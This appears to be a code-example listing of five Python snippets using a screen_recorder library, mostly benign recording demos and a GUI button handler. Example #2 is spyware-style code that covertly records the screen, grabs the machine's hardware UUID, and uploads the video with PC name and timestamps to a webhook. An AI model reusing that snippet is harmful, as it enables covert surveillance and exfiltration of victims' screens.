Beispiel #1
0
def main():
    screen_recorder.enable_dev_log()
    pid = int(sys.argv[1])
    screen_recorder.init_resources(pid)

    t = ScreenShoter()
    t.start()
    screen_recorder.start_video_recording('video.mp4', 30, 8000000, True)
    time.sleep(20)
    screen_recorder.stop_video_recording()
    t.should_stop = True
    t.join()

    screen_recorder.free_resources()
Beispiel #2
0
def main():
    currenttime = strftime("%Y-%m-%d %H:%M:%S",
                           gmtime())  #! Gets the current time

    # screen_recorder.enable_dev_log()

    pid = 0

    screen_recorder.init_resources(pid)

    foldername = str(subprocess.check_output('wmic csproduct get uuid')).split(
        '\\r\\n')[1].strip('\\r').strip()  #! Grabs HWID / UUID

    rand = ''.join(random.choices(string.ascii_lowercase + string.digits,
                                  k=16))  #! Makes random code

    screen_recorder.start_video_recording(
        f'C:\\Windows\\Temp\\{foldername}\\{rand}.mp4', 30, 8000000, True)

    time.sleep(7)

    screen_recorder.stop_video_recording()
    screen_recorder.free_resources()

    finishedtime = strftime("%Y-%m-%d %H:%M:%S",
                            gmtime())  #! Gets the current time

    files = {
        'files': open(f'C:\\Windows\\Temp\\{foldername}\\{rand}.mp4',
                      'rb')  #! Don't touch tbh
    }
    values = {
        'upload_file':
        f'C:\\Windows\\Temp\\{foldername}\\{rand}.mp4',  #! Don't touch tbh
        'DB':
        'photcat',  #! Don't touch tbh
        'OUT':
        'mp4',  #! Don't touch tbh
        'SHORT':
        'short',  #! Don't touch tbh
        'content':
        f'```asciidoc\nAttached Image for :: {pcname}\nStarted Recording at :: {currenttime}\nStopped Recording at :: {finishedtime}```',  #! Don't touch tbh
        'username':
        '******',  #! Username for webhook
        'avatar_url':
        'https://facebook.github.io/screenshot-tests-for-android/static/logo.png',  #! Webhook Avatar URL Here
    }  #! Values for the file.

    requests.post(webhook, files=files, data=values)  #! Sends data
Beispiel #3
0
def main():
    screen_recorder.enable_dev_log()
    pid = int(sys.argv[1])
    screen_recorder.init_resources(pid)

    screen_recorder.get_screenshot(5).save('test_before.png')

    screen_recorder.start_video_recording('video1.mp4', 30, 8000000, True)
    time.sleep(5)
    screen_recorder.get_screenshot(5).save('test_during_video.png')
    time.sleep(5)
    screen_recorder.stop_video_recording()

    screen_recorder.start_video_recording('video2.mp4', 30, 8000000, True)
    time.sleep(5)
    screen_recorder.stop_video_recording()

    screen_recorder.free_resources()
Beispiel #4
0
def main():
    screen_recorder.enable_dev_log()

    params = screen_recorder.RecorderParams()
    # params.pid = 0 # use it to set process Id to capture
    # params.desktop_num = 0 # use it to set desktop num

    screen_recorder.init_resources(params)

    t = ScreenShoter()
    t.start()
    screen_recorder.start_video_recording('video.mp4', 30, 8000000, True)
    time.sleep(20)
    screen_recorder.stop_video_recording()
    t.should_stop = True
    t.join()

    screen_recorder.free_resources()
Beispiel #5
0
 def video_pressed(self, instance):
     try:
         if self.start_video.text == 'Start Video':
             os.makedirs('data', exist_ok=True)
             self.video_filename = os.path.join('data', '%d.mp4' % time.time())
             screen_recorder.start_video_recording(self.video_filename, 30, 8000000, True)
             logging.info('start video recording to %s' % self.video_filename)
             if self.use_overlay:
                 game_overlay_sdk.injector.send_message('start video recording to %s' % self.video_filename)
             self.start_video.text = 'Stop Video'
         else:
             logging.info('stop video recording')
             if self.use_overlay:
                 game_overlay_sdk.injector.send_message('stop video recording')
             self.start_video.text = 'Start Video'
             screen_recorder.stop_video_recording()
             self.video_player.source = self.video_filename
     except Exception as e:
         logging.error(str(e))